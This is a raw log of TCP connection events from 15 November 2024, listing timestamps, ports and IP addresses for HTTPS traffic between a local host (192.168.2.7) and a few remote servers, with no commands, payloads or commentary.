Nov 15, 2024 19:39:21.737101078 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.737145901 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.737160921 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.737168074 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.737179041 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.737184048 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.739352942 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.739383936 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.739454985 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.739614010 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.739629030 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.759198904 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.759583950 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.759640932 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.761430025 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.761445045 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.761460066 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.761465073 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.764322042 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.764413118 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.764502048 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.764638901 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.764672995 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.770812035 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.770978928 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.771059990 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.771059990 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.771075010 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.771080017 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.773550987 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.773619890 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.773700953 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.773837090 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:21.773866892 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:21.947231054 CET	49741	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:21.947272062 CET	443	49741	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:21.947354078 CET	49741	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:21.947724104 CET	49741	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:21.947736025 CET	443	49741	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:22.455056906 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.469613075 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.469656944 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.470372915 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.470397949 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.472132921 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.472539902 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.472588062 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.473126888 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.473143101 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.492121935 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.492522001 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.492539883 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.492970943 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.492976904 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.495057106 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.495482922 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.495491982 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.496041059 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.496045113 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.518210888 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.518867016 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.518908024 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.519350052 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.519357920 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.593696117 CET	443	49741	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:22.593796015 CET	49741	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:22.595482111 CET	49741	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:22.595499039 CET	443	49741	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:22.595820904 CET	443	49741	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:22.597409010 CET	49741	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:22.597570896 CET	49741	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:22.597600937 CET	443	49741	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:22.597659111 CET	49741	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:22.597667933 CET	443	49741	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:22.599612951 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.599668980 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.599730968 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.599976063 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.600006104 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.600023031 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.600030899 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.602927923 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.602978945 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.603050947 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.603188992 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.603208065 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.622586012 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.622792959 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.622867107 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.622948885 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.622948885 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.622991085 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.623017073 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.625241041 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.625269890 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.625334978 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.625471115 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.625480890 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.628639936 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.629024029 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.629102945 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.629300117 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.629329920 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.629344940 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.629354000 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.630120039 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.630381107 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.630444050 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.630476952 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.630494118 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.630517006 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.630530119 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.632656097 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.632699966 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.632769108 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.632910967 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.632941961 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.633815050 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.633862972 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.633928061 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.634083986 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.634105921 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.670866966 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.671046972 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.671142101 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.671339035 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.671339035 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.671359062 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.671370029 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.674401999 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.674412966 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:22.674489975 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.674655914 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:22.674664974 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.151099920 CET	443	49741	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:23.151215076 CET	443	49741	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:23.151323080 CET	49741	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:23.163781881 CET	49741	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:23.163800001 CET	443	49741	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:23.327430010 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.331176043 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.331208944 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.331634045 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.331643105 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.365504026 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.367058039 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.381995916 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.382040024 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.386291981 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.386297941 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.386642933 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.386694908 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.387020111 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.387032986 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.411362886 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.416054964 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.416111946 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.416544914 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.416560888 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.421252012 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.424392939 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.424411058 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.424804926 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.424815893 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.455528021 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.455678940 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.455858946 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.468090057 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.468137980 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.468169928 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.468185902 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.506344080 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.506390095 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.506479025 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.506709099 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.506726027 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.516469955 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.517107964 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.517178059 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.517251968 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.517252922 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.517297029 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.517323971 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.525512934 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.525671959 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.525737047 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.547221899 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.547398090 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.547585011 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.551100969 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.551250935 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.551320076 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.575447083 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.575485945 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.575500965 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.575508118 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.743176937 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.743210077 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.743244886 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.743259907 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.745203972 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.745229959 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.745256901 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.745271921 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.758371115 CET	49748	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.758414984 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.758490086 CET	49748	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.761208057 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.761265039 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.761326075 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.761619091 CET	49748	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.761647940 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.762628078 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.762669086 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.768891096 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.768910885 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.768971920 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.769087076 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.769109964 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.769867897 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.769896984 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:23.769958973 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.770504951 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:23.770529985 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.252876997 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.288045883 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.288075924 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.288633108 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.288639069 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.417593002 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.417658091 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.417706966 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.418104887 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.418113947 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.418123007 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.418128014 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.422446012 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.422482014 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.422548056 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.422981977 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.422993898 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.438734055 CET	49753	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:24.438766956 CET	443	49753	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:24.438842058 CET	49753	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:24.439201117 CET	49753	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:24.439214945 CET	443	49753	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:24.484338999 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.484852076 CET	49748	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.484875917 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.485575914 CET	49748	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.485584021 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.499464989 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.499994993 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.500037909 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.500521898 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.500530005 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.501317024 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.501584053 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.501594067 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.501940966 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.501946926 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.541660070 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.542239904 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.542268038 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.542758942 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.542766094 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.613483906 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.613779068 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.613893032 CET	49748	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.614018917 CET	49748	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.614052057 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.614067078 CET	49748	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.614073992 CET	443	49748	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.617599964 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.617630005 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.617789984 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.617914915 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.617927074 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.630778074 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.631099939 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.631174088 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.631216049 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.631216049 CET	49751	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.631236076 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.631249905 CET	443	49751	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.631589890 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.632034063 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.632088900 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.632124901 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.632138968 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.632153034 CET	49750	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.632158041 CET	443	49750	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.633919001 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.633929968 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.634016991 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.634119987 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.634133101 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.634147882 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.634185076 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.634241104 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.634367943 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.634381056 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.669725895 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.670088053 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.670257092 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.670257092 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.670257092 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.673095942 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.673144102 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.673228025 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.673412085 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.673429012 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:24.972858906 CET	49749	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:24.972893000 CET	443	49749	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.064358950 CET	443	49753	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:25.064462900 CET	49753	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:25.065853119 CET	49753	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:25.065864086 CET	443	49753	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:25.066190958 CET	443	49753	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:25.067711115 CET	49753	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:25.067807913 CET	49753	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:25.067815065 CET	443	49753	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:25.152642012 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.153182030 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.153208017 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.153737068 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.153742075 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.280472994 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:25.280508041 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:25.280607939 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:25.282784939 CET	49758	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:39:25.282798052 CET	443	49758	172.202.163.200	192.168.2.7
Nov 15, 2024 19:39:25.287638903 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.287801027 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.287936926 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.288072109 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.288072109 CET	49752	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:25.288086891 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.288094044 CET	443	49752	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:25.291172028 CET	49759	443	192.168.2.7	13.107.246.45
